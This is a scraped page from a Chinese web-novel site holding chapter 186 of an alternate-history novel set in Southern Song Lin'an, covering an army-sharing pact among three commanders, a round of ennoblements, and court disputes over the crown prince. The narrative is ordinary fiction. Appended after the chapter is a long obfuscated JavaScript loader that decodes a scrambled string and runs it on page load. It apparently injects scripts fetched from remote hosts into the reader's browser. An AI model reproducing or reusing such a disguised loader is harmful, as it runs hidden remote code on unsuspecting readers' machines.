首页
第一百八十六章 三家分军
返回
关灯 护眼:关 字号:小

第一百八十六章 三家分军

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    三月初三,临安。枢密院后厅,门窗紧闭,连条缝都不留。院子里站了一圈亲兵,闲人免近。
    屋里坐着三个人。
    高尧康坐在主位上,刚脱了朝服,换了一身半旧的鸦青袍子,领口敞着,露出一截中衣。
    韩世忠坐在他对面,大马金刀地往椅子上一靠,两条腿伸得老长,靴子上的泥蹭在椅腿上也不管。
    还有一个年轻人——毕再遇。岳飞旧部的代表,岳家军现在的领头人。二十七八岁,浓眉大眼,腰板挺得笔直,坐在那里像一根钉在地上的木桩,一看就是行伍出身,屁股上没长赘肉的那种。
    韩世忠看着他,笑了。那笑容里带着一种老将军看小将的慈祥。
    “毕再遇,你爹毕进跟我是老兄弟。当年在淮南,我俩一块儿打过金人。你爹那会儿骑一匹白马,冲在最前面,金人的箭从他耳边飞过去,他眼睛都不眨一下。”
    毕再遇站起来,抱拳,动作干脆利落,甲叶子哗啦一声。
    “韩帅,末将听过。家父常说,韩帅是他最佩服的人。说韩帅打仗不要命,喝酒也不要命。”
    韩世忠哈哈大笑,摆了摆手。“坐下坐下。今天不是来叙旧的,是来谈正事的。你爹的事,改天喝酒的时候再说。”
    毕再遇坐下,腰还是那么直。
    高尧康开口了。他的声音不大,但很沉,像是在井底说话。
    “毕再遇,岳家军现在还有多少人?”毕再遇沉默了一下。那沉默不长,但能看出他在心里算。末了,他报了一个数字,声音有些发紧,像是怕这个数字太小,让人看轻了。
    “回王爷,岳帅被害后,散的散,走的走,被收编的被收编。有的回了老家种地,有的投了别的队伍,有的下落不明。现在还能召集起来的,大概一万二。”
    高尧康点点头。“够用了。”毕再遇愣了一下。他大概以为高尧康会说“太少了”或者“怎么才这么点”,没想到是这个回答。“王爷的意思是……”
    “岳家军的番号,我保住了。”
    高尧康看着他,目光不重,但毕再遇觉得那目光像是能看穿他,看到骨头里去,“但你们不能回鄂州了。那边是刘光世的地盘,他的人已经占了。你们回去,两拨人挤在一起,锅碗瓢盆都得打架。”
    他站起来,走到墙上挂的舆图前。那舆图很大,从川蜀一直画到东海,山川河流城池关隘,密密麻麻的,是他让人新画的。韩世忠和毕再遇也站起来,跟过去。
    高尧康的手点在舆图上,从西往东划。“川陕、陇右,加上新打下来的临洮路、凤翔路、庆原路——这一片,我的人守。”
    他的手往东移,从长江口划到淮河。
    “两淮、两浙,韩大哥守。这是金人南下的老路,韩大哥熟。”再往西,手指点在开封的位置上。“京西路,刘光世守。直面开封。金人要是从那边打过来,首当其冲的就是他。”
    他回头,看着毕再遇,手指悬在半空中。“岳家军,放哪儿?”
    毕再遇想了想。他的眼睛盯着舆图,从开封往南看,从京西往东看,从两淮往西看。然后他开口了,声音很稳:“王爷,我们还是想去京西。”
    高尧康挑眉。“跟刘光世挤一块儿?他那摊子本来就大,再加上你们,不乱?”
    毕再遇摇头。“不是挤。是帮刘帅守。开封那个方向,金人随时可能打过来。刘帅一个人,兵力不够。他的兵多是步兵,机动性差。岳家军的骑兵还在,跑得快,能帮上忙。”
    高尧康看着他,忽然笑了。那笑容不大,但很真。“你倒是不怕吃亏。去了人家的地盘,听人家的指挥,吃人家的饭,受人家的气。”
    毕再遇也笑了,笑得露出一口白牙。“王爷,岳帅活着的时候常说,打仗不是为了抢地盘,是为了打金人。谁守哪儿不重要,谁能打谁上,能把金人打跑就行。他说,咱们当兵的,死了埋哪儿都一样。”
    韩世忠在旁边拍了一下大腿,啪的一声,震得桌上的茶碗都跳了一下。“好小子!这话我爱听!岳帅带出来的人,就是不一样!”
    他转头看高尧康,“老三,就让他去京西。刘光世那人我知道,打仗行,但心眼小,得有人帮衬着。”
    高尧康点点头。“行。那就这么定。岳家军去京西,配合刘光世。但有个条件。”
    毕再遇看着他,等着。
    “你们的人,火器得从川陕领。标准统一,弹药通用,打起仗来不用东拼西凑。每年春秋两季,三家联合演练一次。川陕的人去两淮,两淮的人去京西,京西的人来川陕。换着地方打,换着环境练。别到时候换个地方就不会打仗了。”
    毕再遇抱拳,拱得很用力。“末将领命!”
    三个人又商议了一个时辰。茶水换了两道,蜡烛换了两根。最后定下来——
    高家军:川陕六路加陇右、临洮、凤翔、庆原,二十万人。
    韩家军:两淮、两浙,十万人。刘家军:京西路,五万人。加岳家军一万二,凑六万二。
    三方情报共享,每天一报。一方有事,另外两家必须支援,不得借故拖延,不得讨价还价。火器由川陕统一供应,标准一模一样,连枪托的木料都一样。每年二月、八月,三家在襄阳会操,联合演练。谁不来,谁就是乌龟王八蛋。
    韩世忠听完,长出一口气,那口气像是攒了好几年。
    “早这样,岳飞也不会死。”屋里安静了一瞬。安静得能听见窗外麻雀叫。高尧康端起茶碗,茶已经凉了,他喝了一口,眉头都没皱一下。
    “韩大哥,过去的别想了。想以后。”韩世忠点点头,端起自己的茶碗,把凉茶一口闷了。“对。想以后。”
    第二天,朝会。天还没亮,百官就到了,站在殿外等着,缩着脖子,搓着手。三月的临安早晨还是冷的,有人跺脚,有人哈气,有人小声嘀咕。
    殿门开了,太监尖着嗓子喊“入殿——”,百官鱼贯而入。高尧康站在殿侧,手按着剑柄,看着那些人一个个从他面前走过。有人看他一眼,有人低着头不敢看,有人对他拱拱手。他面无表情,像一尊石像。
    今天有大事。封爵。
    太监开始念名单,声音又尖又长,在大殿里回荡,像是有人在磨玻璃。“韩世忠,封咸安郡王,加太保!”“刘光世,封荣国公,加少保!”“杨沂中,封和义郡公!”“刘锜,封武泰郡公!”“王彦,封清远军节度使!”“吴玠,封镇西军节度使!”“张叔夜,封保康军节度使!”“童师闵,封沿海制置使,提举市舶司!”
    一个接一个,全是武将。全是主战派。全是跟着高尧康打过硬仗的人。
    殿内鸦雀无声。那些文官站在那儿,脸色各异——有高兴的,嘴都合不拢;有不高兴的,脸拉得比驴还长;有面无表情的,像戴着面具。
    但没人敢说话。连咳嗽都不敢,憋得脸通红。名单念完,太监合上卷轴,那一声“咔嚓”在安静的大殿里格外清脆。
    “钦此——!”武将们跪了一地,甲叶子哗啦哗啦响成一片。“谢主隆恩!”声音大得殿顶的灰尘簌簌往下掉。
    高尧康站在那儿,看着那些人。有老将,白发苍苍,膝盖都跪不利索了;有新人,年轻气盛,眼睛里全是光。
    有跟了他多年的,从汴梁一路跟过来的;有刚投奔来的,昨天还在犹豫今天要不要来。但这一刻,他们都是一条心。因为变天了。真的变天了。从根上变了。
    散朝后,张浚和胡铨没走。两人跟着赵构去了福宁殿。赵构坐下,冕旒已经摘了,头上的发冠歪了,也没人帮他正。
    他的脸色比上朝时更差,眼袋耷拉着,嘴唇发干,整个人像是一棵被从土里拔出来又栽回去的树,看着还活着,底下的根已经断了。
    “有事?”他的声音沙哑,像是在砂纸上磨过的。
    张浚开口。“圣上,太子的事。”
    赵构的脸沉了一下,像是有人往他脸上扔了块石头。
    “太子怎么了?”
    胡铨接话,语速比平时快,像是怕被打断:“圣上,太子今年十三了。不小了。该学着处理政事了。古人说,十三入小学,十八入大学。太子这个年纪,正是学东西的时候。先学着看奏章,听听朝政,等过两年,就能帮圣上分担了。”
    赵构没说话。他的手指在扶手上轻轻敲了两下,咚咚,像是在打某种暗号。张浚继续说,声音放得更缓了,像是在哄小孩:“臣等商议过,想给太子选几个师傅,让他开始学着看奏章、听朝政。不是让他做主,就是学着。跟着听,跟着看,不懂的问。等过两年,就能帮圣上分担了。”
    赵构看着他。“朕还没死呢。”
    张浚愣住了。胡铨的脸色也变了,从红变白,从白变青。
    “圣上,臣不是这个意思——臣是说,太子大了,该——”“那你什么意思?”赵构打断他,声音忽然大了,大到殿外的侍卫都回头看了一眼,“太子才十三,读读书就行了。政事?他懂什么?你十三岁的时候懂什么?谁十三岁能治国?”
    张浚深吸一口气,把胸口那股气往下压了压。“圣上,十三岁不小了。当年圣上登基的时候,也才二十。比太子大七岁。七年的时间,说长不长,说短不短。太子先学着,慢慢来,先从简单的看起——”
    “朕说了,不行。”赵构站起来,椅子往后一推,吱呀一声。他走到窗前,背对着他们,声音从窗户那边飘过来,闷闷的。“太子的事,朕自有主张。你们不用操心。”
    张浚和胡铨对视一眼。张浚往前走了两步,靴子踩在金砖上,声音很轻。“圣上,那让太子先建个自己的班子,总可以吧?几个伴读,几个讲官,先学着。不干政,不影响朝政。就是读书、习字、听讲。这总行了吧?”
    赵构转过身,看着他。看了很久。久到张浚后背开始冒汗。然后他笑了。笑得冷。那笑容像是从冰窖里拿出来的,冷得人骨头疼。
    “张浚,你是怕朕死得太早,没人给你们撑腰?放心,朕身体好着呢。再活二十年没问题。”张浚跪下,膝盖砸在金砖上,咚的一声。“臣不敢!”胡铨也跪下,跪得比张浚还快。
    赵构走到他们面前,低头看着他们。他的影子落在两个人身上,长长的,黑黑的。“你们的心思,朕知道。不就是想找个听话的皇帝吗?朕不听话,你们就找太子。太子再不听话,你们就找皇孙。对不对?”
    张浚低着头,不说话。他的额头贴在地上,能看见金砖上自己的倒影。赵构盯着他,目光像一把钝刀,不锋利,但压得人生疼。“朕告诉你,朕还活着呢。这江山,还是朕的。朕说了算。不是你们,不是高尧康,是朕。”
    他转身,走回御座,坐下。动作很慢,像是每走一步都在跟什么东西较劲。“太子建班子的事,朕准了。但只能读书,不能干政。等他十八岁,再说。十八岁之前,他只需要读书、骑马、识字。别的事,不用他操心。”
    张浚抬起头,额头上有一个红印子,是磕出来的。“谢圣上。”
    出了福宁殿,胡铨拉着张浚,走到廊下的角落里。左右看看,没人。压低声音,近到两个人的鼻子都快碰到一起了。
    “张公,圣上这态度……怕是心里还憋着气。今天这话,够狠的。”张浚摇摇头。“没事。只要太子能建班子,就行。”胡铨愣了一下。“您的意思是……”“太子才十三。班子建起来,过个三五年,就是他的人了。师傅是他的人,伴读是他的人,讲官是他的人。那时候圣上想拦,也拦不住。十八岁?等不到十八岁。十五岁就差不多了。”
    胡铨懂了。他的眼睛亮了。“张公英明。”张浚叹了口气。那口气很长,像是要把胸腔里的东西都吐出来。“不是我英明。是……”他没说完。但胡铨知道他想说什么。是高尧康。是高尧康在背后撑着,他们才敢跟赵构这么说话。没有高尧康,他们就是砧板上的鱼,赵构想怎么切怎么切。
    晚上,高尧康的宅子里。韩世忠来了,酒是自己带的,一坛子老白干,拍开泥封,酒香直冲鼻子。两人坐在院子里,喝酒。月亮挂在头顶上,又圆又亮,把院里的桂花树照得跟银铸的一样。
    “老三。”韩世忠端着酒碗,脸已经喝红了,但眼睛还是亮的,“你今天那封爵,封得漂亮。张浚念名单的时候,我站在那儿听着,心里那个痛快。我打了一辈子仗,头一回觉得当武将也有抬头挺胸的一天。”
    高尧康笑了,端起碗跟他碰了一下,铛的一声,酒洒了几滴出来。“漂亮什么。就是给兄弟们一个交代。那些跟了咱们这么多年的人,不能让他们白干。”
    韩世忠喝了口酒,抹了抹嘴。“你知道我今天最高兴的是什么吗?”高尧康看着他。“毕再遇那小子。”
    韩世忠说,目光里有光,“岳飞教出来的人,就是不一样。不抢地盘,不计较位置,不跟你讨价还价,就想着打金人。这种人,现在不多了。他爹毕进是这样,他也是这样。”
    高尧康点点头。“岳二哥带兵有一套。不是光会打仗,是会带人。”
    韩世忠沉默了一会儿。碗里的酒晃了晃,月亮在酒里碎了。“老三,你说,岳飞要是活着,今天会是什么样?”
    高尧康没回答。他端着酒碗,没喝。韩世忠自己说下去。“他肯定高兴。看见咱们三家联手,看见武将封爵,看见秦桧那狗贼关在大理寺,看见金人那边乱了——他肯定高兴。他那人,藏不住事,高兴了就笑,不高兴了就骂。不像你,高兴不高兴都一张脸。”
    他端起酒碗,对着天上举了举。月亮在碗里晃了一下。“岳二哥,你在天有灵,看看吧。咱们没给你丢人。你的仇,报了。你儿子,找回来了。你的兵,还在。你的旗,还在。”
    高尧康也端起酒碗,对着天上举了举。两人一饮而尽。
    放下碗,韩世忠看着他。那目光忽然变了,从酒意中清醒过来,变得很沉。
    “老三,有句话,我憋好几天了。今天不说不痛快。”
    高尧康看着他。
    “你走了一步险棋。清君侧,起兵,打进临安,控制朝堂,封赏武将——每一步都险。但也可能是唯一活棋。你要是不走这步,等秦桧腾出手来,下一个死的就是你。你死了,川陕就散了,咱们这些人也就一个一个被收拾了。”
    高尧康没说话,端起酒壶给韩世忠倒满,又给自己倒满。韩世忠继续说,声音压得很低,低到只有两个人能听见:“只是……官家那边,终究是颗刺。他在位一天,你心里就硌得慌一天。今天他准了太子建班子,可他说的话你也听见了——‘朕还活着’。他心里不服。他觉得自己还是皇帝,觉得自己还能翻盘。”
    高尧康沉默了一会儿。院子里的桂花落了几瓣,飘在酒碗里,浮在酒面上,像小船。然后他点点头。“大哥,我明白。”
    他看着韩世忠。“但眼下,先御外侮。内部之事,徐徐图之。金人在外面等着,咱们不能自己先打起来。先打金人。金人打跑了,再说别的。”
    韩世忠盯着他,看了很久。那目光里有审视,有欣赏,有一种说不清道不明的东西。然后他笑了,举起酒碗。“老三,你长大了。”
    高尧康愣了一下。“当年你还是个愣头青,就知道往前冲,跟金人死磕,磕得头破血流也不回头。现在知道‘徐徐图之’了。知道该硬的时候硬,该软的时候软,该等的时候等。”高尧康也笑了。“人总要长。”
    韩世忠走后,高尧康回到书房。案上摆着一摞文书,高高的一摞,最上面是一份名单——枢密院的官员名单,密密麻麻写满了名字,后面注着籍贯、履历、派系。他坐下,拿起笔,蘸了墨,开始在名单上勾画。
    王彦,枢密院都承旨,勾上。刘光远,枢密院副都承旨,勾上。宇文虚,军器监监正,勾上。一个接一个,都是川陕系的人。
    有人他认识,跟了他多少年了;有人他不认识,但杨蓁在信里提过,说这人可用。勾完,他放下笔,把名单推到一边。旁边还摆着一封信,是给苏檀儿的,写了一半,纸上的墨迹还没干透。
    他拿起笔,继续写——笔尖在纸上沙沙地走,字迹工整,一笔一划。“檀儿,临安这边需要银子。挑一批上好的珠宝首饰,派人送来。要那种亮眼的、贵气的,能打动人的。达官贵人的夫人小姐,眼睛毒,一般的东西看不上。另外,成都那边的账目,你多盯着。有什么事,随时写信。别累着,让周甫多跑跑。”
    写完,他把信折好,折得四四方方的,塞进信封,封上。交给亲卫。“八百里加急,送成都。日夜兼程,马不停蹄。”亲卫接过,转身去了,脚步声很快就消失在夜色里。
    高尧康站起来,走到窗前。推开窗户,夜风灌进来,凉飕飕的,带着桂花的香气。月亮还挂在头顶上,比他进来时偏了一些,银白色的光照在院子里的青砖上,像是铺了一层霜。
    他想起苏檀儿的脸,想起她挺着肚子坐在灯下算账的样子,算盘珠子噼里啪啦响,手指飞快地拨。想起杨蓁的脸,想起她骑马冲在最前面的样子,头发被风吹得乱七八糟,铠甲上全是血。想起林素娥的脸,想起她蹲在伤兵旁边包扎的样子,手很稳,脸很认真,额头上全是汗。
    还有赵福金。心里一疼,像是有人拿针扎了一下。孩子没了之后,她就没怎么说过话。每次去看她,她就那么躺着,看着帐顶,不知道在想什么。
    他坐在旁边,握着她的手,她也不抽回去,也不握紧,就那么让他握着。他跟她说话,她听着,偶尔点一下头,但眼睛始终盯着帐顶。他不敢多问。
    怕一问,她就哭了。他不怕她哭。他怕她哭的时候,他什么都做不了。他怕她说“你为什么不保孩子”,他怕她说“我恨你”。他更怕她什么都不说。
    “王爷。”亲卫在门外叫,声音不大,但在安静的夜里听得很清楚。
    高尧康转身。“进来。”亲卫进来,递上一封信,信封很厚,鼓鼓囊囊的,上面盖着野利部的印。“金国密报。野利部送来的,说加急。”
    高尧康拆开,走到灯下,就着烛火看了一遍。信上的字歪歪扭扭的,像是找人代笔的,但内容很扎实。金国内部乱了。
    完颜宗弼被排挤得厉害,手下的兵粮草不够,兵士吃不饱,怨气很大,已经有几个部落开始闹事,有人杀了金兵,有人投了蒙古,有人干脆散了。
    皇后裴满氏想立自己的儿子当太子,跟宗室那帮人吵得不可开交,连朝会都开不下去了,大臣们站成两派,互相指责,就差动手了。
    高尧康看完,笑了。那笑容不大,但很亮,像是黑夜里突然点了一盏灯。他把信折好,放进怀里,贴着胸口。那个位置已经放了好几封信了,鼓鼓囊囊的,像另一个心脏。他走到窗前,看着北边的夜空。
    远处,皇宫的方向,灯火通明。赵构应该还没睡,不知道在想什么。也许在想怎么翻盘,也许在想怎么保住那张龙椅,也许只是在发呆。
    他看着那片灯火,忽然想起韩世忠说的话——“官家那边,终究是颗刺。”
    他点点头。是啊,是颗刺。扎在那里,不疼不痒,但硌得慌。但现在不能拔。拔了会流血,会化脓,会死人。得等。等金人那边再乱一点,等兀术彻底倒台,等裴满氏跟宗室撕破脸。
    等三家兵马再强一点,等火器配齐,等粮草备足。等太子再大一点,等他在朝堂上站住脚。等时机成熟。
    他站在窗前,月光照在他脸上,把一半脸照得发白,另一半藏在阴影里。风吹过来,带着桂花的香。他深吸一口气,转身,走回书案前,坐了很久。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();